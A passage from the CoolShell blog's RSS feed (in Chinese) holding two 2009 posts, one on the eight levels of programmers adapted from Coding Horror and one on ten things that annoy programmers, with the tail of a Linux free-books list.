border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td style=\"font-weight: bold; width: 60px;\">Website</td>\n<td><a href=\"http://tldp.org/guides.html\">tldp.org/guides.html</a></td>\n</tr>\n<tr>\n<td style=\"font-weight: bold;\">Author</td>\n<td>Olaf Kirch, Terry Dawson</td>\n</tr>\n<tr>\n<td style=\"font-weight: bold;\">Format</td>\n<td>PDF, HTML</td>\n</tr>\n<tr>\n<td style=\"font-weight: bold;\">Pages</td>\n<td>489</td>\n</tr>\n</tbody>\n</table>\n<p><strong>20. tuXlabs Cookbook</strong></p>\n<p style=\"padding-left: 30px;\">\n<table style=\"width: 100%; text-align: left;\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td style=\"font-weight: bold; width: 60px;\">Website</td>\n<td><a href=\"http://www.upfrontsystems.co.za/Members/jean/cookbook/tuXlab01.pdf/view\">www.upfrontsystems.co.za</a></td>\n</tr>\n<tr>\n<td style=\"font-weight: bold;\">Author</td>\n<td>Jean Jordaan, The Shuttleworth Foundation</td>\n</tr>\n<tr>\n<td style=\"font-weight: bold;\">Format</td>\n<td>PDF</td>\n</tr>\n<tr>\n<td style=\"font-weight: bold;\">Pages</td>\n<td>153</td>\n</tr>\n</tbody>\n</table>\n<p>文章：<a href=\"http://www.linuxlinks.com/article/20090405061458383/20oftheBestFreeLinuxBooks-Part1.html\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF-150x150.jpeg\" alt=\"eBPF 介绍\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_title\">eBPF 介绍</a></li><li ><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/03/linux.ninja_-150x150.png\" alt=\"打造高效的工作环境 &#8211; Shell 篇\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_title\">打造高效的工作环境 &#8211; Shell 篇</a></li><li ><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/12/docker-networking-1-150x150.png\" alt=\"记一次Kubernetes/Docker网络排障\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_title\">记一次Kubernetes/Docker网络排障</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" alt=\"Linux PID 1 和 Systemd\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_title\">Linux PID 1 和 Systemd</a></li><li ><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/07/cache-150x150.png\" alt=\"缓存更新的套路\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_title\">缓存更新的套路</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/355.html\">20本最好的Linux免费书籍</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/355.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>34</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>程序员的八个级别</title>\n\t\t<link>https://coolshell.cn/articles/343.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/343.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 06 Apr 2009 10:23:11 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[职场生涯]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=343</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>在面试时，你可能会被经常问到“在未来5年，你想干什么？”，这可能是一个比较难回答的问题。在中国，答案一般可能会是Team leader，Manager，或是Ar...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/343.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/343.html\">程序员的八个级别</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/programmer.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/programmer.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-thumbnail wp-image-347\" title=\"programmer\" src=\"https://coolshell.cn/wp-content/uploads/2009/04/programmer-150x150.jpg\" alt=\"programmer\" width=\"150\" height=\"150\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/04/programmer-150x150.jpg 150w, https://coolshell.cn/wp-content/uploads/2009/04/programmer-200x200.jpg 200w\" sizes=\"(max-width: 150px) 100vw, 150px\" /></a>在面试时，你可能会被经常问到“在未来5年，你想干什么？”，这可能是一个比较难回答的问题。在中国，答案一般可能会是Team leader，Manager，或是Architect，Specialist等，在中国，大家可能更多地觉得manager会是程序员的下一个目标，可是在国外，经理和程序员可能是两个不同的分支，Architect或Specialist 比经理来说更牛、代遇可能也更好，因为这些人的智商需要的更高。</p>\n<p>在著名的“<a href=\"http://www.codinghorror.com/\" target=\"_blank\">Coding Horror</a>”上出现了这样一篇文章，我把其转到这里（我并没有完全一模一样的翻译，我只不过是用自己的话转述罢了），也让大家看看国外人的思考方式（当然，这篇文章只是分析程序员的级别而不是工种）。正如其作者结尾时所说，这八个级别并不是很严格的，其只不过是一种想法，希望能给大家另一种思路。</p>\n<p><span id=\"more-343\"></span></p>\n<p><strong>第八级 不朽的程序员</strong></p>\n<p>这一级别是程序员的最高级别。你的代码比你的生命活的还长，当你死后，你将会成为整个历史的一部分。其它程序员对你顶礼膜拜，或许你会获得计算机最高奖“图灵奖”，不然就是一系列极其影响力的论文，再不然，就是发明了一些可以影影响整个编程界根基的技术。你拥有的不仅仅是在维基百科上的一个词条，还会有一个专门的网站来研究你的生平和你的工作成果。</p>\n<p>比如：<a href=\"http://en.wikipedia.org/wiki/Edsger_W._Dijkstra\">Dijkstra</a>, <a href=\"http://en.wikipedia.org/wiki/Donald_Knuth\">Knuth</a>（编程艺术的作者）, <a href=\"http://en.wikipedia.org/wiki/Alan_Kay\">Kay</a></p>\n<p> </p>\n<p><strong>第七级 成功的程序员</strong></p>\n<p>这类程序员一方面很著名，另一方面在商业上也很成功，他们影响了整个工业界。他们似乎决定了工业界中发展的方向，这些人，自己的编程能力固然了得，但估计他们的Business方面的能力应该大于他们编程的能力。（我个人认为<a href=\"http://en.wikipedia.org/wiki/Linus_Torvalds\" target=\"_blank\">Linus</a>应该属于这一类）</p>\n<p>比如： <a href=\"http://en.wikipedia.org/wiki/Bill_Gates\">Gates</a>（比尔盖茨）, <a href=\"http://en.wikipedia.org/wiki/John_D._Carmack\">Carmack</a>（Doom和Quake 3D游戏）, <a href=\"http://en.wikipedia.org/wiki/David_Heinemeier_Hansson\">DHH</a> （Ruby on Rail的创建者）</p>\n<p> </p>\n<p><strong>第六级 著名程序员</strong></p>\n<p>这一类的程序员，在编程圈子内比较有名气，但是他们的这种名气并不一定能给他们带来某种利益。名气是一件好事，但是成功可能更好一些，这类人一般正在给一个很著名的大的公司，或是是一极具影响力的小公司里工作，或者正在创建自己的事业。无论怎么样，其它的程序员听说过你的名字，并以你为榜样在效仿着你。</p>\n<p> </p>\n<p><strong>第五级 骨干程序员</strong></p>\n<p>这类程序员一般来说都是公司里的骨干份子，他们担任着公司内最重要的编程角色，在公司内部，他们受到老板和其它程序员的尊敬，他们不会失业，因为他们随时都可以很容易地找到工作。他们工作过的公司都会因为他们而有所发展。</p>\n<p> </p>\n<p><strong>第四级 一般的程序员</strong></p>\n<p>这类程序员的优点在于，他们很清楚地意识到了自己可能这一辈了也无法成为一个伟大的程序员。天才只是很少的一部分人。如果这类程序员有一些商业和人员管理能力，他们也会在公司里相当的成功。“认识自我”并不简单，这并不是一般人能做到的，能够认识自己的人已经是很不错了，找到自己的长处，并像那个方向努力，一定也会很成功的。因为在公司里，并不只有程序员一种职位，经理，PM，流程，SQA，技术支持，售前，管理员，测试人员等等都可能会让这类程序员有更为广阔的天空。</p>\n<p> </p>\n<p><strong>第三级  业余的程序员</strong></p>\n<p>这类人员不管是不是计算机科班出身，基础如何，他们对编程有着特殊的爱好，他们可能会是一些很有前途的学生或实习生，也许他们可能会给开源做一些贡献（比如说提供一些语言包或是一些插件什么的），有时候，他们也会写两个小工具软件放在网上让人下载，也行有些时候就是为了玩玩而开发一些小程序而打发一下他们空闲的时间。他们完全是靠热情和承诺来编程。兴趣永远是最好的老师，也是最好的一件事，因为兴趣而引发的热情通常会让这些程序员成为“骨干程序员”。</p>\n<p> </p>\n<p><strong>第二级 不知名的程序员</strong></p>\n<p>这一级的程序员是典型的为大众所知的程序员，他们有一定的编程能力，但并不出众，也许他们会在一家大公司里工作，只程序员只不过是他们的工作而已，并不是他们人生的全部。当然，这样的程序员也挺好的。必竟，平凡地人还是大多数，平凡地活着也没有什么错的。</p>\n<p> </p>\n<p><strong>第一级 糟糕的程序员</strong></p>\n<p>这类程序员不知道为什么就走上了编程这条路，他们甚至连最基本的编程经验和能力都没有。所有被他们碰过的事情都需要他们的同事重头再返工一遍，他们根本不就是程序员。程序员这个职位对于他们可能就是一个错误。</p>\n<p>正如原文作者所说，“这些级别并不是很严肃的，也并不是每个程序都会去思考一下自己的未来，但是这些级别可能会让你去想一想从事程序员十年/二十年/三十年后，自己可能变成什么样。”</p>\n<p>文章：<a href=\"http://www.codinghorror.com/blog/archives/001250.html\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/343.html\">程序员的八个级别</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/343.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>36</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>惹恼程序员的十件事</title>\n\t\t<link>https://coolshell.cn/articles/340.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/340.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 06 Apr 2009 04:04:01 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=340</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>程序员应该是一个比较特殊的群体，他们因为长期和电脑打交道所养成的性格和脾气也是比较相近的。当然，既然是人，当然是会有性格的，也是会有脾气的。下面，让我来看看十件...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/340.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/340.html\">惹恼程序员的十件事</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/anger.gif\"><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-thumbnail wp-image-349\" title=\"anger\" src=\"https://coolshell.cn/wp-content/uploads/2009/04/anger-150x150.gif\" alt=\"anger\" width=\"150\" height=\"150\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/04/anger-150x150.gif 150w, https://coolshell.cn/wp-content/uploads/2009/04/anger-200x200.gif 200w\" sizes=\"(max-width: 150px) 100vw, 150px\" /></a>程序员应该是一个比较特殊的群体，他们因为长期和电脑打交道所养成的性格和脾气也是比较相近的。当然，既然是人，当然是会有性格的，也是会有脾气的。下面，让我来看看十件能把程序惹毛了的事情。一方面我们可以看看程序员的共性，另一方面我们也可以看看程序员的缺点。无论怎么样，我都希望他们对你的日常工作都是一种帮助。</p>\n<p><strong>第十位 程序注释</strong></p>\n<p>程序注释本来是一些比较好的习惯，当程序员老手带新手的时候，总是会告诉新手，一定要写程序注释。于是，新手们当然会听从老手的吩咐。只不过，他们可能对程序注释有些误解，于是，我们经常在程序中看到一些如下的注释：</p>\n<p style=\"PADDING-LEFT: 30px\">r = n/2;  <span style=\"color: #008000;\">//r是n的一半</span></p>\n<p style=\"PADDING-LEFT: 30px\"><span style=\"color: #008000;\">//循环，仅当r- n/r不大于t</span><br />\nwhile ((r-n/r) &lt;=t){<br />\n        &#8230; &#8230;<br />\n        r = 0.5 * (r-n/r); <span style=\"color: #008000;\">// 设置r变量<br />\n</span>}</p>\n<p>每当看到这样的注释——只注释是什么，而不注释为什么，相信你一定会被惹火，这是谁写的程序注释啊？不找来骂一顿看来是不会解气了。程序注释应该是告诉别人你的意图和想法，而不是告诉别人程序的语法，这是为了程序的易读性和可维护性，这样的为了注释而注释的注释，分明不是在注释，而是在挑衅，惹毛别人当然毋庸置疑。</p>\n<p><span id=\"more-340\"></span></p>\n<p><strong>第九位 打断</strong></p>\n<p>正当程序沉浸于编程算法的思考，或是灵感突现正在书写程序的时候，但却遭到别人的打断，那是一件非常痛苦的事情，如果被持续打断，那可能会让人一下子就烦躁起来。打断别人的人在这种情况下是非常不礼貌的。被打断的人就像函数调用一下，当其返回时，需要重新恢复断点时的现场，当然，人不是电脑，恢复现场通常是一个很痛苦的过程，极端的情况下可能需要从头开始寻找思绪，然后一点一点地回到断点。</p>\n<p>因此，我看到一些程序员在需要安静不被打扰的时候，要么会选择去一个没人找得到的地方，要么会在自己的桌子上方高挂一个条幅以示众人——“本人正执行内核程序，无法中断，请勿骚扰，谢谢！”，可能正在沉浸于工作的程序被打断是多么大的开销。自然，被打断所惹毛了的人也不在少数了。</p>\n<p> </p>\n<p><strong>第八位  需求变化</strong></p>\n<p>这个事情估计不用多说了。只要是是程序员，面对需求变化的时候可能总是很无奈的。一次两次可能还要吧接受，但也顶不住经常变啊。据说敏捷开发中有一套方法论可以让程序员们享受需求的变化，不知道是真是假。不过，今天让你做一个书桌，没有让你把书桌改成餐桌，后天让你把餐桌改成双人床，大后天让你把床改成小木屋，然后把小木屋再改成高楼大厦。哎，是人都会被惹毛了的。那些人只用30分钟的会议就可以作出任何决定，但后面那几十个程序员需要搭上几百个小时的辛苦工作。如果是我，可能我也需要神兽草泥马帮助解解气了。</p>\n<p>不过，这也正说明了，程序员并不懂得怎么和用户沟通，而用户也不懂得和程序员沟通，如果一个项目没有一个中间人（如：PM）在其中协调的话，那么整个项目可能就是“鸡同鸭讲”，用户和程序员都会被对方所惹毛了。如果要例举几个用户被惹毛的事情，估计程序员的那种一根筋的只从技术实现上思考问题的方法应该也能排进前5名。</p>\n<p> </p>\n<p><strong>第七位  经理不懂技术</strong></p>\n<p>外行领导内行的事例还少吗？领导一句话，无论对不对，都是对的，我们必需照做，那怕是多么愚蠢多么错误的决定，我们也得照做。程序员其实并不怕经理不懂技术，最怕的就是不懂技术的经理装着很懂技术。最可气的是，当你据理力争的挑站领导权威的时候，领导还把你视为异类。哎，想起这样的领导别说是骂人了，打人的冲动都有了。</p>\n<p>其实，经理只不过是一个团队的支持者，他应该帮助团队，为团队排忧解难。而不是对团队发号施令。其实管理真的很简单，如果懂的话，就帮着做，如果不懂的话，就相信下属，放手让下属做。最怕的就是又不懂技术，还不信任下属的经理了。哎，这真是程序员的痛啊。</p>\n<p> </p>\n<p><strong>第六位 用户文档</strong></p>\n<p>用户文档本来不应该那么的令人害怕。这些文档记录了一切和我们所开发的软件有关的一些话题。因为我们并不知道我们所面对的用户的电脑操作基础是什么样的，所以，在写下这样的文档的时候，我们必需假设这个用户什么也不懂。于是，需要用最清楚，最漂亮的语言写下一个最丰富的文档。那怕一个拷贝粘贴的操作，可能我们都要分成五、六步来完成，那怕是一个配置IP地址的操作，我们也要从开始菜单开始一步一步的描述。对于程序员来说，他们在开发过程中几乎天天都在使用自己开发的软件，到最后，可能都有得有点吐了，但还得从最简单的部份写这些文档，当然容易令他们烦燥，让程序员来完成这样的文档可能效果会非常不好。所以，对于这样的用户文档，应该由专门的人来完成和维护。</p>\n<p> </p>\n<p><strong>第五位  没有文档</strong></p>\n<p>正如上一条所说的，程序员本来就不喜欢写文档，而因为技术人员的表达能力和写作能力一般都不是太好，所以，文档写的也很烂。看看开源社会的文档可能就知道了。但是，我们可爱的程序员另一方面最生气的却是因为没有文档。当然，让面说是的用户的文档，这里我们说的是开发方面的文档，比如设计文档，功能规格，维护文档等等。不过，基本上都是一样的。反正，一方面，我们的程序员不喜欢写文档，另一方面，我们的程序又会被抱怨没有文档，文档太少，或者文档看不懂。呵呵。原来在抱怨方面也有递归啊。据说，敏捷开发可以降低程序开发中的文档，据说他们可以把代码写得跟文档和示图似的，不知道是真是假。不过，我听过太多太多的程序员抱怨没文档太少，文档太差了，这个方面要怪还是怪程序员自己。</p>\n<p> </p>\n<p><strong>第四位 部署环境</strong></p>\n<p>虽然，程序员们开发的是软件，但是我们并不知道我们的程序会被部署或安装在什么样的环境下，比如，网络上的不同，RAID上的不同，BIOS上的不同，操作系统的不同（WinXP和Win2003），有没有杀毒软件，和其它程序是否兼容，系统中有流氓软件或病毒等等。当然，只要你的软件出现错误，无论是你的程序的问题，还是环境的问题，反正都是你的问题，你都得全部解决。所以，程序员们并不是简单地在编程，很多时候，还要当好一个不错系统管理员。每当最后确认问题的原因是环境问题的时候，可能程序员都是会心生怨气。</p>\n<p> </p>\n<p><strong>第三位 问题报告</strong></p>\n<p>“我的软件不工作了”，“程序出错了”，每当我们听到这样的问题报告的时候，程序员总是感到很痛苦，因为这样的问题报告等于什么也没有说，但还要程序员去处理这种错误。没有明确的问题描述，没有说明如果重现问题，在感觉上，当然会显得有点被人质问的感觉，甚至，在某些时候还掺杂着看不起，训斥的语气，当然，程序员基本上都是很有个性的，都是软硬不吃的主儿，所以，每当有这样的语气报告问题的时候，他们一般也会把话给顶回去，当然，后面自己然发生一些不愉快的事情。所以，咱们还是需要一个客服部门来帮助我们的程序员和用户做好沟通。</p>\n<p> </p>\n<p><strong>第二位 程序员自己</strong></p>\n<p>惹毛程序员的可能还是程序员自己，程序员是“相轻”的，他们基本上都是持才傲物的，总是觉得自己才是最牛的，在程序员间，他们几乎每天都要吵架，而且一吵就吵得脸红脖子粗。在他们之间，他们总是被自己惹毛。</p>\n<ul>\n<li>技术上的不同见解。比如Linux和Win，VC++和VB，Vi和Emacus，Java和C++，PHP和Ruby等等，等等。什么都要吵。</li>\n<li>老手对新手的轻视。总是有一些程序员看不起另一些程序员，说话间都带着一种傲慢和训斥。当新手去问问题的时候，老手们总是爱搭不理。</li>\n<li>在技术上不给对方留面子。不知道为什么，程序员总是不给对方留面子，每当听到有人错误理解某个技术的时候，他们总是喜欢当众大声指证，用别人的“错误”来表明自己的“博学”，并证明他人的“无知”。</li>\n<li>喜好鄙视。他们喜好鄙视，其实，这个世界上没有一件事是完美的，有好就有不好，要挑毛病太容易了。程序员们特别喜欢鄙视别人，无论是什么的东西，他们总是喜欢看人短而不看人长。经常挂在他们嘴上的口头禅是“太差”、“不行”等等。</li>\n</ul>\n<p>程序员，长期和电脑打交道，编写出的代码电脑总是认真的运行，长期养成了程序员们目空一切的性格，却不知，这个世界上很多东西并不是能像电脑一样，只要我们输入正确的指令它就正确地运行这么简单。程序员，什么时候才能变成成熟起来……</p>\n<p> </p>\n<p><strong>第一位 程序员的代码</strong></p>\n<p>无论你当时觉得自己的设计和写的代码如何的漂亮和经典，过上一段时间后，再回头看看，你必然会觉得自己的愚蠢。当然，当你需要去维护他人的代码的时候，你一定要在一边维护中一边臭骂别人的代码。是否你还记得当初怎么怎么牛气地和别人讨论自己的设计和自己的代码如何如何完美的？可是，用不了两年，一刚从学校毕业的学生在维护你的代码的过程当中就可以对你的代码指指点点，你的颜面完全扫地。呵呵。当然，也有的人始终觉得自己的设计和代码就是最好的，不过这是用一种比较静止的眼光来看问题。编程这个世界变化总是很快的的，很多事情，只有当我们做过，我们才熟悉他，熟悉了后才知道什么是更好的方法，这是循序渐进的。所以，当你对事情越来越熟悉的时候，再回头看自己以前做的设计和代码的时候，必然会觉得自己的肤浅和愚蠢，当然看别人的设计和代码时，可能也会开始骂人了。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/340.html\">惹恼程序员的十件事</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/340.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>44</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>超过100本的linux免费书籍</title>\n\t\t<link>https://coolshell.cn/articles/336.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/336.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Neo]]></dc:creator>\n\t\t<pubDate>Thu, 02 Apr 2009 02:49:19 